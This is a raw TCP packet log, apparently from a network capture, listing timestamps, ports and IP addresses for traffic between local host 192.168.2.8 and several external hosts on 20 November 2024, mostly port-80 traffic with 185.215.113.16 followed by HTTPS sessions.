Nov 20, 2024 03:20:52.742974043 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.742990017 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743001938 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743014097 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743032932 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743036985 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.743036985 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.743036985 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.743043900 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743056059 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743067026 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743077993 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743088007 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.743088007 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.743089914 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743103027 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743113041 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.743114948 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743127108 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743139029 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743140936 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.743153095 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743154049 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.743165970 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743177891 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743191957 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743196011 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.743196011 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.743202925 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743215084 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743226051 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743237019 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743248940 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743259907 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.743259907 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.743261099 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743273020 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743275881 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.743283987 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743295908 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743307114 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743321896 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.743321896 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.743324041 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743335962 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743346930 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743359089 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.743359089 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743371010 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743383884 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743396044 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743407965 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743419886 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743431091 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.743436098 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.743436098 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.743436098 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.743618011 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.743618011 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.748502970 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.748514891 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.748533964 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.748544931 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.748558998 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.748590946 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.748644114 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.748924017 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.748965979 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.748981953 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.749003887 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.749021053 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.749025106 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.749038935 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.749085903 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.749792099 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.749804020 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.749814987 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.749825954 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.749838114 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.749902964 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.749902964 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.750730038 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.750741959 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.750751972 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.750761986 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.750772953 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.750828981 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.750828981 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.751646042 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.751657009 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.751673937 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.751686096 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.751698017 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.751849890 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.751851082 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.751993895 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.752013922 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.752036095 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.752057076 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.752079010 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.752099991 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.752125978 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.752125978 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.752125978 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.761782885 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.762785912 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.767038107 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767112970 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767151117 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767179012 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.767185926 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767220974 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767254114 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.767272949 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767308950 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767344952 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.767362118 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767363071 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.767399073 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767452955 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767465115 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.767487049 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767522097 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767555952 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767587900 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767616987 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.767621040 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767658949 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767693996 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767726898 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767738104 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.767738104 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.767738104 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.767760992 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767792940 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767827988 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767839909 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.767879009 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.767935038 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.767970085 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.768002987 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.768037081 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.768069983 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.768104076 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.768105984 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.768116951 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.768136978 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.768168926 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.768182039 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.768203974 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.768235922 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.768238068 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.768271923 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.768306017 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.768332958 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.768337965 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.768373013 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.768379927 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.768405914 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.768534899 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.768552065 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.768584967 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.768620014 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.768630981 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.768654108 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.768687010 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.768702030 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.768722057 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.768763065 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.822357893 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.823332071 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:21:03.652715921 CET	49738	443	192.168.2.8	142.250.186.68
Nov 20, 2024 03:21:03.652760983 CET	443	49738	142.250.186.68	192.168.2.8
Nov 20, 2024 03:21:03.652853966 CET	49738	443	192.168.2.8	142.250.186.68
Nov 20, 2024 03:21:03.653121948 CET	49738	443	192.168.2.8	142.250.186.68
Nov 20, 2024 03:21:03.653152943 CET	443	49738	142.250.186.68	192.168.2.8
Nov 20, 2024 03:21:04.274296045 CET	49742	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:04.274331093 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:04.274447918 CET	49742	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:04.274653912 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:04.274677992 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:04.274811983 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:04.274893045 CET	49742	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:04.274921894 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:04.275052071 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:04.275063992 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:04.285669088 CET	443	49738	142.250.186.68	192.168.2.8
Nov 20, 2024 03:21:04.285912991 CET	49738	443	192.168.2.8	142.250.186.68
Nov 20, 2024 03:21:04.285936117 CET	443	49738	142.250.186.68	192.168.2.8
Nov 20, 2024 03:21:04.286854982 CET	443	49738	142.250.186.68	192.168.2.8
Nov 20, 2024 03:21:04.286922932 CET	49738	443	192.168.2.8	142.250.186.68
Nov 20, 2024 03:21:04.288414955 CET	49738	443	192.168.2.8	142.250.186.68
Nov 20, 2024 03:21:04.288487911 CET	443	49738	142.250.186.68	192.168.2.8
Nov 20, 2024 03:21:04.331773043 CET	49738	443	192.168.2.8	142.250.186.68
Nov 20, 2024 03:21:04.331785917 CET	443	49738	142.250.186.68	192.168.2.8
Nov 20, 2024 03:21:04.377625942 CET	49738	443	192.168.2.8	142.250.186.68
Nov 20, 2024 03:21:04.526788950 CET	49744	443	192.168.2.8	184.28.90.27
Nov 20, 2024 03:21:04.526833057 CET	443	49744	184.28.90.27	192.168.2.8
Nov 20, 2024 03:21:04.526933908 CET	49744	443	192.168.2.8	184.28.90.27
Nov 20, 2024 03:21:04.528151989 CET	49744	443	192.168.2.8	184.28.90.27
Nov 20, 2024 03:21:04.528182983 CET	443	49744	184.28.90.27	192.168.2.8
Nov 20, 2024 03:21:04.926630974 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:04.929457903 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:04.971143961 CET	49742	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:04.972630024 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.039535046 CET	49742	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.039554119 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.040000916 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.040036917 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.040482998 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.040550947 CET	49742	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.041665077 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.041811943 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.044893980 CET	49742	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.044976950 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.046314955 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.046426058 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.051369905 CET	49742	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.051387072 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.051608086 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.051626921 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.096354008 CET	49742	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.096359968 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.170061111 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.170090914 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.170100927 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.170136929 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.170175076 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.170185089 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.170218945 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.170273066 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.170311928 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.170312881 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.170345068 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.172116041 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.172137976 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.172144890 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.172163010 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.172169924 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.172177076 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.172219992 CET	49742	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.172245026 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.172276020 CET	49742	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.172302008 CET	49742	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.216332912 CET	443	49744	184.28.90.27	192.168.2.8
Nov 20, 2024 03:21:05.216526985 CET	49744	443	192.168.2.8	184.28.90.27
Nov 20, 2024 03:21:05.228050947 CET	49744	443	192.168.2.8	184.28.90.27
Nov 20, 2024 03:21:05.228077888 CET	443	49744	184.28.90.27	192.168.2.8
Nov 20, 2024 03:21:05.228270054 CET	443	49744	184.28.90.27	192.168.2.8
Nov 20, 2024 03:21:05.253285885 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.253313065 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.253477097 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.253477097 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.253509998 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.253582954 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.254889965 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.254909992 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.254993916 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.255011082 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.255139112 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.256403923 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.256422997 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.256530046 CET	49742	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.256545067 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.256604910 CET	49742	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.258322001 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.258337021 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.258408070 CET	49742	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.258420944 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.258486032 CET	49742	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.260595083 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.260641098 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.260668993 CET	49742	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.260720968 CET	49742	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.263489008 CET	49742	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.263510942 CET	443	49742	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.268086910 CET	49744	443	192.168.2.8	184.28.90.27
Nov 20, 2024 03:21:05.294588089 CET	49744	443	192.168.2.8	184.28.90.27
Nov 20, 2024 03:21:05.339338064 CET	443	49744	184.28.90.27	192.168.2.8
Nov 20, 2024 03:21:05.340476036 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.340504885 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.340656996 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.340656996 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.340686083 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.340740919 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.341326952 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.341348886 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.341402054 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.341415882 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.341474056 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.341474056 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.342238903 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.342259884 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.342360973 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.342375040 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.342447996 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.343655109 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.343674898 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.343782902 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.343795061 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.343866110 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.428107977 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.428131104 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.428205013 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.428236961 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.428255081 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.428347111 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.428677082 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.428697109 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.428783894 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.428798914 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.428905964 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.429152966 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.429198027 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.429234982 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.429246902 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.429274082 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.429291964 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.429621935 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.429641008 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.429723024 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.429735899 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.429922104 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.430046082 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.430102110 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.430145979 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.430156946 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.430195093 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.430205107 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.430212975 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.430222034 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.430264950 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.430269957 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.430283070 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.430342913 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.430355072 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.430409908 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.430469990 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.431296110 CET	49743	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.478014946 CET	49743	443	192.168.2.8	13.107.246.45
